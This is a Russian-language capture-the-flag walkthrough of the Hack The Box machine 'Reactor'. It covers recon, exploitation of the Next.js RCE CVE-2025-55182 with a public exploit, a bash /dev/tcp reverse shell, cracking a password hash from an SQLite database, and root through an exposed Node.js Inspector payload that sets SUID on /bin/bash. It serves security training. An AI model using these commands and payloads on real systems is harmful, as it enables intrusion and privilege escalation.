Прохождение машины Reactor на Hack The Box

Привет, хабр! Сегодня будем взламывать сезонную машину из уже прошедшего 11-го сезона на Hack The Box. Нам предстоит проэксплуатировать уязвимость NextJS, наделавшую шума в конце 2025 года, крякнуть пользовательский хеш и повысить привилегии через забытый отладочный порт. Интересно? Тогда приступим!
Разведка
Как и полагается, первым делом определим открытые порты на атакуемом хосте:
sudo nmap -A 10.129.128.213
По результатам работы Nmap видно, что открыты следующие порты:
22/tcp - OpenSSH
3000/tcp - ppp?
Скрипты определили, что на 3000 порту работает веб-приложение. Давайте посмотрим, что там находится:

Как показано на картинке выше, приложение представляет собой систему мониторинга состояния некого реактора. К сожалению, интерактивных элементов на странице обнаружить не удалось, как и комментариев с полезной информацией, любезно оставленных разработчиками. Не беда! Приступим к фаззингу.
Фаззинг
Данный этап будем проводить с помощью инструмента ffuf:
ffuf -u http://10.129.128.213:3000/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-files-lowercase.txt
ffuf -u http://10.129.128.213:3000/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt
В результате перебора, файлов, папок и конечных точек не обнаружено. Не будем отчаиваться! Давайте посмотрим версии используемых фреймворков.
Первоначальный доступ
С помощью браузерного расширения Wappalayzer определим версию NextJS:

Ага! Используется не самая новая версия фреймворка. Пора проверять, не имеет ли она каких-либо серьезных уязвимостей (спойлер: имеет!).
При первом же запросе гугл выдает информацию о CVE-2025-55182, имеющую 10 баллов по шкале CVSS:

Данная уязвимость также известна как React2Shell. Суть заключается в том, что backend приложения небезопасно десериализует данные, передаваемые в HTTP-запросах, что в итоге приводит к удаленному выполнению кода. Эта уязвимость наделала шуму в конце 2025 года, так как не требует авторизации и затрагивает огромное количество веб-приложений, разработанных с помощью одного из самых популярных стеков React/NextJS.
На GitHub найден публичный эксплойт данной CVE:

Давайте скачаем его и приступим к эксплуатации:
git clone https://github.com/Chocapikk/CVE-2025-55182
cd CVE-2025-55182
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 exploit.py -u http://10.129.128.213:3000/ -c "id"
Как видим, эксплойт успешно отрабатывает. Пора прокинуть шелл! Благо, в скачанном скрипте есть встроенный функционал, позволяющий нам это сделать. Для начала посмотрим ip-адрес интерфейса OpenVPN:
ip a | grep tun0
После чего перейдем к установке шелла:
python3 exploit.py -u http://10.129.128.213:3000/ -r -l 10.10.17.135 -p 5555 -P nc-mkfifo
Но шелл, прокинутый таким способом неудобен в использовании, поскольку при вводе каждой команды требует двойного нажатия Enter. Не проблема! Прокинем стандартный bash reverse shell:
bash -c 'exec bash -i &>/dev/tcp/10.10.17.135/4444 <&1'
Далее приступим к апгрейду оболочки:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+Z # на клавиатуре
stty raw -echo; fg
stty rows 54 columns 209
Оболочка работает из под пользователя node. В домашнем каталоге найдено имя пользователя engineer. Нашей следующей целью будет получить доступ к его учетной записи.
Получение user.txt
В корневом каталоге веб-приложения находится база данных reactor.db:

Если посмотреть её содержимого с помощью sqlite3, то обнаружим вызывающую интерес таблицу users:
sqlite3 reactor.db
.tables
При просмотре всех записей этой таблицы найдем хеши пользовательских паролей:
select * from users;
Если попробуем перебрать хеши с помощью утилиты Hashcat и словаря rockyou, то получим пароль от учетной записи engineer:
hashcat -m 0 "39d97110eafe2a9a68639812cd271e8e" /usr/share/wordlists/rockyou.txt
Выполним подключение по SSH и получим содержимое файла user.txt:
ssh engineer@10.129.128.213
cat user.txt
Получение root.txt
Давайте посмотрим какие процессы запущены в системе от root:
ps aux | grep root
Как видно по выводу команды, от пользователя root на 9229 порту запущен встроенный инструмент отладки NodeJS Inspector, через который можно выполнять системные команды. Данный инструмент предназначен для разработки. На рабочем сервере его обычно отключают, потому что он увеличивает поверхность атаки и даёт мощный интерфейс управления процессом. Чтобы воспользоваться промахом разработчика, нам необходимо взаимодействие по протоколу WebSocket. Для этого перекинем на уязвимую машину бинарник утилиты websocat:

Переименуем файл для удобства и поднимем веб-сервер:
mv websocat.x86_64-unknown-linux-musl websocat
sudo python -m http.server 80На уязвимой машине скачаем websocat и дадим ему права на выполнение:
wget 10.10.17.135/websocat
chmod +x websocat
Проверим доступность конечной точки и запомним id, возвращаемое в ответе:
curl -s http://127.0.0.1:9229/json
Отправим следующую полезную нагрузку:
echo '{"id":1,"method":"Runtime.evaluate","params":{"expression":"process.mainModule.require(\"child_process\").execSync(\"chmod +s /bin/bash\").toString()"}}' | ./websocat ws://127.0.0.1:9229/1177c6f5-f0d8-4662-871b-d7606ee1080b
С помощью данной полезной нагрузки мы добавили SUID-бит к /bin/bash, что дает права root любому, кто запустит эту оболочку:
ls -la /bin/bash
Запустим оболочку и прочитаем root.txt:
bash -p
cat root.txt
Вот и подошла к концу компрометация машины Reactor. Благодарю за прочтение статьи и желаю успехов в дальнейших прохождениях!
KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.